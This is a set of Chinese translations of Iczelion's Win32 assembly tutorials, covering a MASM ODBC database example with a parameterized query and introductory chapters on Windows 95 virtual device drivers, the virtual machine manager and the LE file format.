invoke GetMenuState, hMenu, IDM_CONNECT,MF_BYCOMMAND
.if eax==MF_GRAYED
invoke ODBCDisconnect, hDlg
.endif
invoke EndDialog,hDlg, 0
.elseif uMsg==WM_COMMAND
.if lParam==0
mov eax,wParam
.if ax==IDM_CONNECT
invoke ODBCConnect,hDlg
.elseif ax==IDM_DISCONNECT
invoke ODBCDisconnect,hDlg
.elseif ax==IDM_QUERY
invoke RunQuery,hDlg
.elseif ax==IDM_CUSTOMQUERY
invoke DialogBoxParam, hInstance, IDD_QUERYDLG,hDlg, addr QueryProc, 0
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp

GetProgramPath proc
invoke GetModuleFileName, NULL,addr ProgPath,sizeof ProgPath
std
mov edi,offset ProgPath
add edi,sizeof ProgPath-1
mov al,"\"
mov ecx,sizeof ProgPath
repne scasb
cld
mov byte ptr [edi+2],0
ret
GetProgramPath endp

SwitchMenuState proc Flag:DWORD
.if Flag==TRUE
invoke EnableMenuItem, hMenu, IDM_CONNECT, MF_GRAYED
invoke EnableMenuItem, hMenu, IDM_DISCONNECT, MF_ENABLED
invoke EnableMenuItem, hMenu, IDM_QUERY, MF_ENABLED
invoke EnableMenuItem, hMenu, IDM_CUSTOMQUERY, MF_ENABLED
.else
invoke EnableMenuItem, hMenu, IDM_CONNECT, MF_ENABLED
invoke EnableMenuItem, hMenu, IDM_DISCONNECT, MF_GRAYED
invoke EnableMenuItem, hMenu, IDM_QUERY, MF_GRAYED
invoke EnableMenuItem, hMenu, IDM_CUSTOMQUERY, MF_GRAYED
.endif
ret
SwitchMenuState endp

ODBCConnect proc hDlg:DWORD
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_NULL_HANDLE, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLSetEnvAttr, hEnv,SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3,0
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLAllocHandle, SQL_HANDLE_DBC, hEnv, addr hConn
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke lstrcpy,addr ConnectString,addr strConnect
invoke lstrcat,addr ConnectString, addr ProgPath
invoke lstrcat, addr ConnectString,addr DBName
invoke SQLDriverConnect, hConn, hDlg, addr ConnectString, sizeof ConnectString, addr Conn, sizeof Conn,addr StrLen, SQL_DRIVER_COMPLETE
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SwitchMenuState,TRUE
invoke MessageBox,hDlg, addr Conn,addr ConnectCaption,MB_OK+MB_ICONINFORMATION
.else
invoke SQLFreeHandle, SQL_HANDLE_DBC, hConn
invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
invoke MessageBox, hDlg, addr ConnFail, addr AppName, MB_OK+MB_ICONERROR
.endif
.else
invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
invoke MessageBox, hDlg, addr AllocConnFail, addr AppName, MB_OK+MB_ICONERROR
.endif
.else
invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
invoke MessageBox, hDlg, addr SetAttrFail, addr AppName, MB_OK+MB_ICONERROR
.endif
.else
invoke MessageBox, hDlg, addr AllocEnvFail, addr AppName, MB_OK+MB_ICONERROR
.endif
ret
ODBCConnect endp

ODBCDisconnect proc hDlg:DWORD
invoke SQLDisconnect, hConn
invoke SQLFreeHandle, SQL_HANDLE_DBC, hConn
invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
invoke SwitchMenuState, FALSE
invoke ShowWindow,hList, SW_HIDE
invoke MessageBox,hDlg,addr Disconnect, addr AppName,MB_OK+MB_ICONINFORMATION
ret
ODBCDisconnect endp

InsertColumn proc
LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN,0,addr lvc
mov lvc.pszText,offset Heading2
invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc
mov lvc.pszText,offset Heading3
invoke SendMessage,hList, LVM_INSERTCOLUMN, 3 ,addr lvc
ret
InsertColumn endp

FillData proc
LOCAL lvi:LV_ITEM
LOCAL row:DWORD

invoke SQLBindCol, hStmt,1,SQL_C_CHAR, addr TheName, sizeof TheName,addr NameLength
invoke SQLBindCol, hStmt,2,SQL_C_CHAR, addr TheSurname, sizeof TheSurname,addr SurnameLength
invoke SQLBindCol, hStmt,3,SQL_C_CHAR, addr TelNo, sizeof TelNo,addr TelNoLength
mov row,0
.while TRUE
mov byte ptr ds:[TheName],0
mov byte ptr ds:[TheSurname],0
mov byte ptr ds:[TelNo],0
invoke SQLFetch, hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
mov lvi.imask,LVIF_TEXT+LVIF_PARAM
push row
pop lvi.iItem
mov lvi.iSubItem,0
mov lvi.pszText, offset TheName
push row
pop lvi.lParam
invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi
mov lvi.imask,LVIF_TEXT
inc lvi.iSubItem
mov lvi.pszText,offset TheSurname
invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
inc lvi.iSubItem
mov lvi.pszText,offset TelNo
invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
inc row
.else
.break
.endif
.endw
ret
FillData endp

RunQuery proc hDlg:DWORD
invoke ShowWindow, hList, SW_SHOW
invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0
invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLExecDirect, hStmt, addr SQLStatement, sizeof SQLStatement
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke FillData
.else
invoke ShowWindow, hList, SW_HIDE
invoke MessageBox,hDlg,addr ExecuteFail, addr AppName, MB_OK+MB_ICONERROR
.endif
invoke SQLCloseCursor, hStmt
invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt
.else
invoke ShowWindow, hList, SW_HIDE
invoke MessageBox,hDlg,addr AllocStmtFail, addr AppName, MB_OK+MB_ICONERROR
.endif
ret
RunQuery endp
QueryProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_CLOSE
invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt
invoke EndDialog, hDlg,0
.elseif uMsg==WM_INITDIALOG
invoke ShowWindow, hList, SW_SHOW
invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke lstrcpy, addr Conn, addr SQLStatement
invoke lstrcat, addr Conn, addr WhereStatement
invoke SQLBindParameter,hStmt, 1, SQL_PARAM_INPUT, SQL_C_CHAR, SQL_CHAR,25,0, addr SearchName,25,addr StrLen
invoke SQLPrepare, hStmt, addr Conn, sizeof Conn
.else
invoke ShowWindow, hList, SW_HIDE
invoke MessageBox,hDlg,addr AllocStmtFail, addr AppName, MB_OK+MB_ICONERROR
invoke EndDialog, hDlg,0
.endif
.elseif uMsg==WM_COMMAND
mov eax, wParam
shr eax,16
.if ax==BN_CLICKED
mov eax,wParam
.if ax==IDC_OK
invoke GetDlgItemText, hDlg, IDC_NAME, addr SearchName, 25
.if ax==0
invoke MessageBox, hDlg,addr NoData, addr AppName, MB_OK+MB_ICONERROR
invoke GetDlgItem, hDlg, IDC_NAME
invoke SetFocus, eax
.else
invoke lstrlen,addr SearchName
mov StrLen,eax
invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0
invoke SQLExecute, hStmt
invoke FillData
invoke SQLCloseCursor, hStmt
.endif
.else
invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt
invoke EndDialog, hDlg,0
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
QueryProc endp
end start

分析

start:
invoke GetModuleHandle, NULL
mov hInstance,eax
call GetProgramPath

当程序开始时,将获得实例句柄并获得所在路径.默认情况下数据库 test.mdb应与程序处于同一文件夹.

GetProgramPath proc
invoke GetModuleFileName, NULL,addr ProgPath,sizeof ProgPath
std
mov edi,offset ProgPath
add edi,sizeof ProgPath-1
mov al,"\"
mov ecx,sizeof ProgPath
repne scasb
cld
mov byte ptr [edi+2],0
ret
GetProgramPath endp

GetProgramPath调用GetModuleFileName来获得程序的全路径名.接着在路径中查找最后一个"\"符",通过将文件名的第一个字符置为0获得(truncate)" 文件名. 因此我们在ProgPath中获得了程序的路径名.

然后程序将用DialogBoxParam显示主对话框.当主对话框第一次被载入时,它将获得菜单句柄和listview control句柄.接下来在listview control中插入三列(因为我们已经知道结果集将包含三列.因为是我们先建的表.)

现在,它就等待用户的动作了.如果用户在菜单中选择"connect",将会调用ODBCConnect函数.

ODBCConnect proc hDlg:DWORD
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_NULL_HANDLE, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

它做的第一件事是调用SQLAllocHandle来分配一个环境句柄.

 invoke SQLSetEnvAttr, hEnv,SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3,0
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

获得环境句柄后,程序调用SQLSetEnvAttr来表示将要使用ODBC 3.x的语法.

 invoke SQLAllocHandle, SQL_HANDLE_DBC, hEnv, addr hConn
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

如果一切顺利,程序将通过调用SQLAllocHandle获得连接句柄来实现连接.

 invoke lstrcpy,addr ConnectString,addr strConnect
invoke lstrcat,addr ConnectString, addr ProgPath
invoke lstrcat, addr ConnectString,addr DBName

接着填写连接字符串.完整的连接字符串将被用在ConnectionString

 invoke SQLDriverConnect, hConn, hDlg, addr ConnectString, sizeof ConnectString, addr Conn, sizeof Conn,addr StrLen, SQL_DRIVER_COMPLETE
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SwitchMenuState,TRUE
invoke MessageBox,hDlg, addr Conn,addr ConnectCaption,MB_OK+MB_ICONINFORMATION

当连接字符串完成,程序将调用SQLDriverConnect来通过MS Access ODBC 驱动程序连接test.mdb数据库.如果文件test.mdb不存在,ODBC driver将提示用户输入该文件的位置,因为我们已经设定了SQL_DRIVER_COMPLETE标志.当SQLDriverConnect成功返回时, Conn 被填入由ODBC驱动程序创建的完整连接字符串.我们通过一个message box来将其显示给用户. SwitchMenuState是一个单纯切换菜单选项可用的函数.

现在,到数据库的连接已经建立并被打开,并一直保持打开状态直到用户选择关闭.

当用户选择了"View All Records"命令, 对话框过程将调用RunQuery.函数

RunQuery proc hDlg:DWORD
invoke ShowWindow, hList, SW_SHOW
invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0

由于listview control在创建时是不可见的,现在我们把它显示出来.还有 要把其中的所有元素(如果有的话)删掉.

 invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

接下来,程序将获得一个语句句柄.

 invoke SQLExecDirect, hStmt, addr SQLStatement, sizeof SQLStatement
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

通过 SQLExecDirect执行已准备好的SQL语句.我这里选择SQLExecDirect 的原因是只须执行一次.

 invoke FillData

执行SQL语句后,将返回一个结果集.我们使用 FillData函数来从结果集中解出数据并将其放入listview control中.

FillData proc
LOCAL lvi:LV_ITEM
LOCAL row:DWORD

invoke SQLBindCol, hStmt,1,SQL_C_CHAR, addr TheName, sizeof TheName,addr NameLength
invoke SQLBindCol, hStmt,2,SQL_C_CHAR, addr TheSurname, sizeof TheSurname,addr SurnameLength
invoke SQLBindCol, hStmt,3,SQL_C_CHAR, addr TelNo, sizeof TelNo,addr TelNoLength

现在,结果集被返回.我们要绑定结果集的所有三列到我们提供的缓冲区中.这是调用SQLBindCol来实现的.注意我们要对每一列分别调用.并且我们并不需要绑定所有的列:只要绑定要获得数据的列就行了.

 mov row,0
.while TRUE
mov byte ptr ds:[TheName],0
mov byte ptr ds:[TheSurname],0
mov byte ptr ds:[TelNo],0

当列中没有数据时,我们初始化缓冲区为NULLs.更好的方法是用SQLBindCol指定的变量中数据的长度.在我们的例子中,我们可以检查NameLength, SurnameLength和TelNoLength中的值的确切长度.

 invoke SQLFetch, hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
mov lvi.imask,LVIF_TEXT+LVIF_PARAM
push row
pop lvi.iItem
mov lvi.iSubItem,0
mov lvi.pszText, offset TheName
push row
pop lvi.lParam
invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi

其它都很简单了.调用SQLFetch 来获得结果集的一行,并将其存入listview control的缓冲区中.当没有更多的行供检索时(已到达文件尾), SQLFetch返回SQL_NO_DATA并且程序跳出循环.

 invoke SQLCloseCursor, hStmt
invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt

当完成对结果集的操作时,调用SQLCloseCursor关闭结果集并调用SQLFreeHandle释放语句句柄.

当用户选择"Query"命令,程序显示另一个对话框供用户输入要查询的名字.

 .elseif uMsg==WM_INITDIALOG
invoke ShowWindow, hList, SW_SHOW
invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke lstrcpy, addr Conn, addr SQLStatement
invoke lstrcat, addr Conn, addr WhereStatement
invoke SQLBindParameter,hStmt, 1, SQL_PARAM_INPUT, SQL_C_CHAR, SQL_CHAR,25,0, addr SearchName,25,addr StrLen
invoke SQLPrepare, hStmt, addr Conn, sizeof Conn

对话框做的第一件事是显示listview control.接下来分配一个语句句柄以创建SQL语句.这个SQL语句有一个"where"子句及一个参数标志符"?". 完整的SQL语句是:

select * from main where name=?

接着程序调用SQLBindParameter 来建立参数标志符与缓冲区SearchName的连接,这样当SQL语句被执行时,ODBC驱动程序就可从SearchName中获得需要的字符串.接下来,程序调用SQLPrepare来编译SQL语句. 这样我们只要准备/编译SQL语句一次就可多次使用.因为SQL语句已被编译过,接下来的执行过程会快一些.

 .if ax==IDC_OK
invoke GetDlgItemText, hDlg, IDC_NAME, addr SearchName, 25
.if ax==0
invoke MessageBox, hDlg,addr NoData, addr AppName, MB_OK+MB_ICONERROR
invoke GetDlgItem, hDlg, IDC_NAME
invoke SetFocus, eax
.else

当用户在编辑框(edit control)中填入了一些名字并按下回车键, 程序将获得编辑框中的文本并检查是否是空字符串.如果是,则显示一个message box并将键盘焦点设在编辑框上,提示用户输入名字.

 invoke lstrlen,addr SearchName
mov StrLen,eax
invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0
invoke SQLExecute, hStmt
invoke FillData
invoke SQLCloseCursor, hStmt

如果编辑框中已有字符串,程序会获得它的长度并将其放入StrLen中供ODBC驱动程序使用(记住我们已将StrLen的地址传送给了SQLBindParameter). 接下来程序使用获得的语句句柄调用SQLExecute执行已准备好的SQL语句.当 SQLExecute返回时,程序调用FillData在listview control显示结果.因为我们不会再用到结果集,调用SQLCloseCursor来关闭它.

[<<] [index] [>>]

[Iczelion's Win32 Assembly Homepage]

[The Chinese Portion Is Translated By Orochi ,2000.8.24]


Virtual Device Driver Basic

虚拟设备驱动程序初步

在本教程里，我假定读者对诸如虚8086模式，调页，GDT,LDT,IDT之类的INTEL 80x86保护模式的操作比较熟悉。如果你不了解这些，那你要先在 http://developer.intel.com/design/pentium/manuals/阅读INTEL的文档。

内容：

Windows95是一个运行在最高级特权，第0层级别的多线程操作系统。所有的应用程序都运行在最低级特权，第3层级别上。这样就限制了应用程序对系统的操作。它们不能使用cpu特权指令，不能直接访问I/O端口，等等。你对gdi32,kernal32和user32这三个大的系统组件一定很熟悉。你肯定会认为这样重要的代码段一定是在第0层级别下运行的。但是实际上，它们和其他的应用程序一样，是在第三层级别下运行的。这就是说它们并不比Windows计算器，或者扫雷游戏有更多的权限。系统的控制实权掌握在虚拟级管理器(VMM) 和虚拟设备驱动程序(VxD)手中。
这一切都是由dos引起的。在Window 3.x的时代，在市场上有很多成功的dos软件。Windows 3.x必须同时运行普通的Windows程序和dos程序，否则，它就会失去市场。
这个局面是很难处理的，因为dos程序和Windows程序有本质的不同。dos程序认为它们拥有系统的一切：键盘，cpu，内存，硬盘等等。dos程序不知道怎样和其他程序合作，而Windows程序(从那时候起)是可靠的多任务合作系统。也就是每个Windows程序都必须通过GetMessage或PeekMessage来和其他程序进行交流。
解决办法就是，在一个8086虚拟机上运行所有的dos程序，而在另一个叫做系统虚拟机的虚拟机上运行其他所有的Windows程序。Windows负责把cpu运算时间轮流的分给每个虚拟机。这样，在Windows 3.x里。Windows程序之间用的是合作多任务，而虚拟机之间用的是优先级多任务。
什么是一个虚拟机？一个虚拟机是被软件创建的一个假象。一个虚拟机和在它上面运行的程序交互，就像这个程序是在真正的机器上运行一样。这样，一个程序不知道也不关心自己是否是在虚拟机上运行。只要虚拟机准确的像一个真的机器一样响应程序，我们就可以把它当成一个真正的机器。
你可以把虚拟机这种实机器和软件之间的接口看作一种API。这种不寻常的API由中断，BIOS调用和I/O端口组成。如果Windows能够以某种方法完美的模拟这个API，那么在虚拟机上运行的程序就会表现的和它们在实际器上运行时完全一样。
这就是为什么会出现VMM和VxD的原因。为了协调和监视虚拟机(VMs)，Windows需要一个程序来分配任务。这个程序就是虚拟机管理器(VMM)。

虚拟机管理器

VMM是一个32位的保护模式程序。它的主要任务是建立和维护一个支持虚拟机的框架。例如，它要创建，运行和结束一个虚拟机。VMM是众多的系统VxD程序之一，它被放在你的系统目录下的VMM32.VxD文件中。VMM本身是一个VxD程序，但它被当作一个监视其他VxD程序的监视器。让我们来看一下Windows95的启动次序：
  1. 加载io.sys。
  2. 执行config.sys和autoexec.bat。
  3. 调用win.com。
  4. win.com运行VMM32.VxD，VMM32.VxD实际上是个简单的dos的exe文件。
  5. VMM32.VxD用xms驱动程序把VMM加载到扩展内存。
  6. VMM初始化自身及其它的默认VxD。
  7. VMM把机器转入到保护模式并创建系统虚拟机。
  8. 最后被加载的虚拟外壳设备在系统虚拟机上通过运行krnl386.exe来启动Windows。
  9. krnl386.exe加载所有的文件，最后是Windows95外壳。
正如你所看到的，VMM是第一个被加载到内存的VxD程序。它创建系统虚拟机并初始化其他的VxD程序。它也为这些VxD程序提供许多服务。
VMM和VxD的操作模式和真正的程序不同。在大多数时候，它们是潜伏的。当应用程序在系统中运行时，这些VxD程序没有被激活。当某些需要它们处理的中断/错误/事件发生时，它们才被唤醒。
VMM是不可重入的。这意味着VxD程序必须使它们的访问和VMM服务同步。在有些情况下调用VMM服务是不安全的，比如VMM正在处理一个硬件中断。在这段时间内，VMM是不允许重进入的。作为一个VxD编写者，你必须对你的所作所为极度的小心。记住，你是在最高特权级别，第0层级别，如果你代码有错的话，谁也管不到。

虚拟设备驱动程序

虚拟设备驱动程序被简称为VxD。x 代表各种设备的名字，如虚拟键盘驱动程序(vkd)，虚拟鼠标驱动程序(vmd)等等。VxD程序是硬件成功初始化的途径。记得dos程序认为它们拥有系统的一切，当它们在虚拟机中运行时，Windows需要给它们一个实机器的替身。VxD程序就是这些替身。VxD程序通常虚拟一些硬件设备，所以，例如当一个dos程序认为它在同键盘通讯时，实际是虚拟键盘驱动程序在和dos程序通讯。一个VxD程序通常控制真正的硬件设备并对该设备在各个虚拟机之间的共享进行管理。
尽管如此，并不是说每个VxD程序必须和一个硬件设备相连。虽然VxD程序是用来虚拟硬件设备的，但是我们也可以把VxD程序看作是在第0级别的dll。例如，如果你需要做一些只有在第0级别才能做的工作，你就可以编一个VxD程序来为你完成这个工作。这样，由于此VxD程序并没有虚拟任何设备，你就可以把它仅仅看作是你的程序的扩展。
在我们更深入的讨论VxD和创建我们的VxD程序之前，让我先说一些有关于VxD的事情。
  • VxD程序是Windows 9x特有的，它在Windows NT下不能运行。所以如果你的程序是依靠VxD的，它就不能被移植到Windows NT平台上去。
  • VxD是系统中权力最大的实体。由于它们可以对系统作任何事情，所以它们是极度危险的。一个恶意的/错误的VxD程序可以毁掉整个系统。对于恶意的/错误的VxD程序没有任何的保护措施。
  • 通常的，不用VxD也有很多办法能达到你的目的。在采用VxD的解决办法之前一定要三思。如果用其他的可以在第三层级别实施的办法，就使用这个办法。
Windows 95下有两种VxD:
  • 静态VxD
  • 动态VxD
静态VxD是那些从系统启动就被加载，在系统关闭之前一直存在于内存中的VxD程序。这种VxD可以追溯至Windows 3.x的时代。动态VxD时只有Windows 9x下才有的。动态VxD程序可以在需要的时候被加载/卸载。这些程序大多数都是用来控制设置管理器和输入输出监视器加载的即插即用设备的。你可以在你的win32应用程序里加载或卸载动态VxD程序。

VxD程序之间的通讯

VxD程序，包括VMM，通过以下三种途径在相互之间进行通讯：
  • 控制消息
  • 服务API
  • 回调
控制消息: 当有VMM感兴趣的事件发生时，它就向系统中所有载入的VxD程序发送控制消息。控制消息就像是第三层级别的Windows应用程序的消息。每个VxD程序都有一个接受和处理控制消息的函数，叫做设备控制函数。系统控制消息总共有50多个。控制消息不多的原因是系统中通常加载了很多VxD程序，而每个VxD程序在收到一个控制消息时都要进行处理。如果控制消息太多，就会导致系统停滞。所以控制消息只包括那些与虚拟机有关的重要消息，如：一个虚拟机被创建，被销毁等等。作为对系统控制消息的附加，一个VxD程序可以定义自己的控制消息，这些消息可以用来和那些能响应这些消息的VxD程序通讯。

服务函数: 一个VxD程序，包括VMM在内，通常要导出一系列的被别的VxD程序调用的公共函数，这些函数被称为VxD服务。调用这些服务的机制和在第三层级别运行的的应用程序有很大的不同：每个导出VxD服务的VxD程序必须有一个唯一的ID，你可以从Microsoft得到一个这样的ID。这个ID是一个包含了一个VxD唯一的身份验证的16位的数字，例如：

    UNDEFINED_DEVICE_ID    EQU 00000H
    VMM_DEVICE_ID          EQU 00001H
    DEBUG_DEVICE_ID        EQU 00002H
    VPICD_DEVICE_ID        EQU 00003H
    VDMAD_DEVICE_ID        EQU 00004H
    VTD_DEVICE_ID          EQU 00005H
你可以看到VMM的ID是1，VPICD的ID是3，等等。VMM用这些ID来找到导出所需VxD服务的VxD程序。当一个VxD程序导出VxD服务时，它把所有服务的地址存在一个表里面。所以，你还需要通过服务分支表里面服务的索引来找到你所要的服务。例如，如果你要调用第一个服务，GetVersion服务，你就要指定0(这个索引是从0开始的)。调用VxD服务的实机制包括中断20h，你的代码产生一个中断20h，并带有一个双字的值，这个值包含了设备ID和服务索引。例如，如果你要调用一个VxD程序导出的VxD服务，假设VxD程序设备ID是000DH，服务号码是1，那么代码应该是：
    int 20h
    dd 000D0001h
跟在中断20H后的双字的高字包含设备ID。低字是在服务列表中的索引。
当20H中断执行时，VMM得到了控制权，并马上检测跟着的双字。然后它提出设备ID用来找到VxD程序，用服务索引来定位在那个VxD程序中的所要求的服务的地址。
你可以看到这个操作时很费时的。VMM必须浪费很多时间来定位VxD程序和所要服务的地址，所以VMM作了个小小的弊 。当中断20H操作成功后，VMM抓取链接。这就是说，VMM用直接的服务调用来替代20H中断和它后面的双字。所以上面的20H中断代码片断就被改变成:
    call dword ptr [VxD_Service_Address]
这个把戏是成功的，因为int 20h+dword加一个双字用6个字节，正好和call dword ptr结构相等。所以接下来的服务调用是快速而有效的。这个方法具有直接性，简洁性。在好的一方面，它减轻了VMM和VxD载入器的工作量，因为它们不用定位VxD中所有的服务，那些没有执行过的服务将会保持原样。再不那么好的一方面，一旦一个静态VxD程序导出的服务被调用，那么就不可能把这个静态的VxD程序卸载了。由于VMM把调用锁定到VxD服务的实际地址上，如果提供这个服务的VxD程序从内存中被卸载了，其他VxD程序调用这个服务时就会很快的因为调用无效的内存地址而导致系统崩溃。没有办法来消除抓取的链接。这个问题的结论是动态VxD不适合作为服务提供者。

回调: 回调或者回调函数是在VxD程序中给其他的VxD程序调用的函数，不要把回调函数和VxD服务搞混淆了。回调函数不像服务那样是公共的，它们是私有函数，VxD在特定的情况下把它们的地址送给其他的VxD程序。例如，当一个VxD程序在处理一个硬件中断时，由于VMM是不可重入的，这个VxD程序不能使用VxD服务，否则会引起页面错误(重入VMM)。这个VxD程序可以把它自己的一个回调函数的地址给VMM，这样VMM就可以在能忍受页面错误时调用这个函数。回调函数的想法不是VxD独有的。许多Windows API都在用。最好的例子也许是窗口函数，你把窗口函数的地址填在WINDCLASS或WINDCLASSEX结构里并把它当作函数来调用RegisterClass或者RegisterClassEx。当有这个窗口的消息传来时，Windows就会调用你的窗口函数。另一个例子是窗口接管函数。你的程序把接管函数的地址送给Windows，这样当你感兴趣的事件发生时，Windows就会调用你的接管函数。
上述三种方法是VxD之间通讯的，我们还要讲对V86，保护模式和Win32应用程序的接口。在下一章里，我们要学习VxD对Win32应用程序的接口。

由 Ryo 翻译，发表于 http://asm.yeah.net，英文版本来自 [Iczelion's Win32 Assembly Homepage]


虚拟机管理器

虚拟机管理器(VMM)是Windows 95的实际操作系统，它建立和维护一个管理虚拟机的框架，同时为其他vxd程序提供许多重要的服务。其中三种重要的服务是：
  • 内存管理
  • 中断处理
  • 线程调度

内存管理

VMM使用Intel 80386或更新的处理器的内存调页能力来为系统虚拟机创建一个32位的虚地址空间。它把这个地址空间分为四个不同的部分：
  • V86区 地址从0H到10FFEFH，这个区属于当前执行的虚拟机。
  • 应用程序私有区地址从4MB到2GB。这是Win32应用程序运行的空间。每个Win32的进程都有它自己的2GB(要减去4MB)。
  • 应用程序共享区地址从2GB到3GB。这个区域是在虚拟机内的所有 应用程序共享的。系统DLL(user32,kernel32,gid32)都驻存在这里。所有的Win16程序也放在这里，因为它们行为都是不规范的的：它们对内存中的其他Win16程序进行读写。只有在这个区域里，Win16程序才可以看到其他所有的Win16程序。内存映射文件和分配给DPMI的内存也被存放在这里。
  • 系统共享区地址从3GB到4GB。这里是VMM和VXM存放的地方。
VMM为VxD程序提供三种VxD服务：
  • 页面内存服务 这种服务分配/管理页面大小为4KB的内存。这是提供的最低级的服务，其他所有的服务都是建立在页面内存服务上的。
  • 堆内存服务 管理小的内存块。这种高级别的内存管理服务建立在页面内存服务的基础上。
  • 表服务管理可用来实行链结表的固定大小的内存块。

处理中断

在保护模式下，中断指向中断描述表(IDT)。VMM通过VxD的帮助监视虚拟机的IDT。通常VMM处理IDT内几乎所有的中断入口。它进行第一级的中断处理：保存被中断程序的状态，把控制传送到第二级的中断处理，第二级的中断处理通常由各种VxD程序来进行实际的处理。当第二级中断处理程序完成了它的工作之后，它把控制转交给重分派程序，由重分派程序来恢复被中断程序的状态并从先前被中断的地方继续执行。
上面的描述太过简单。由于被中断的虚拟机的时间片可能已过，重分派也许不会马上执行。VxD程序通过VMM服务如：Set_PM_Int或Hook_V86_Int_Chain来安装中断处理。VxD程序不应该直接改动IDT中的中断入口(除非你很确切的知道将发生的后果)。

线程调度

VMM使用两个调度器组件来在虚拟机之间实现有优先级的多线程处理：
  • 主调度器
  • 时间片管理器或副调度器
主调度器的任务是选择有最高优先级的线程来执行。这种选择在VMM处理一个中断(如计时器中断)时进行。选择的结果决定了当VMM从中断服务返回时由哪一个线程/虚拟机获得控制权。主调度器工作的结果是确定的，一个线程要么获得控制权，要么没有，只有一个线程可以得到控制权。VMM和其他的VxD可以通过VMM服务来调整线程的执行优先级。例如，当一个硬中断发生时，VMM就会增加中断处理的执行优先级以便让它在尽可能短的时间内有更高的机会被调用。
副调度器通过主调度器提供的服务来给享有最高优先级的线程分配cpu时间。副调度器给每个线程一个时间片。当一个线程执行到它的时间片完结时，副调度器就增加下一个线程的优先级，这样它就会被主调度器选中并执行。

你可以从Walter Oney's Systems Programming for Windows 95和Windows 95 DDK 文档里面得到关于这个问题的细节。

由 Ryo 翻译，发表于 http://asm.yeah.net，英文版本来自 [Iczelion's Win32 Assembly Homepage]


虚拟设备驱动程序结构

现在大家对vmm和vxd有了一定的了解，接下来我们来看一看如何编写vxd代码。首先，你必须具备Windows 95/98 Device Driver Development Kit。Window95 ddk只有MSDN 订户才能拿到，但Windows98 ddk却可以免费从Microsoft公司取得。尽管Windows 98 ddk是面向WDM的，但你还是可以用它来开发VxD程序。你可以从 http://www.microsoft.com/hwdev/ddk/install98ddk.htm?下载Window98 ddk。
你可以下载整个软件包(大约30M)，也可以只下载你感兴趣的部分。如果你没有下载整个软件包，那么别忘了下载other.exe
里面的Window95 ddk documentation。Windows98 ddk 包含了6.11d版的MASM。你需要把它升级为最新版。如果你不知道到哪里去下载最新的版本，可以去我的主页上查一查。
Window9x DDK包含了一些Masm32包所不具有的重要库文件。
你可以在这里下载这一章的例子。

LE文件格式

VxD采用线性可执行文件格式(LE)。这种文件格式是为OS/2 2.0版设计的。它同时包含16位和32位代码，这点也是VxD程序的需要。回想VxD在Windows3.x的时代，在那时，从Dos启动Windows,Windows在把机器转到保护模式之前需要在实模式下做一些初始化。实模式的16位代码必须和32位代码一起放在可执行文件中。所以LE文件格式理所当然的选择。幸运的，Windows NT驱动程序不必在实模式下初始化，所以它们不必使用LE文件格式。它们用的是PE文件格式。

在LE文件中，代码和数据被存放在几类运行属性不同的段中。以下是一些可用的段类。

  • LCODE 页面锁定的代码和数据段 这种段被锁定在内存里。换句话说，这段永远不会被放到硬盘上去，所以你一定要谨慎的使用这种段类以免浪费宝贵的内存。那些每时每刻都必须放在内存中的代码和数据应该放在这个段里。尤其是那些硬件中断处理程序。
  • PCODE 可调页代码段 VMM可以对这种段实行调页处理，在这种段里的代码不必时刻放在内存里，当VMM需要物理内存的时候，它就会把这段放到硬盘上去。
  • PDATA 可调页数据段
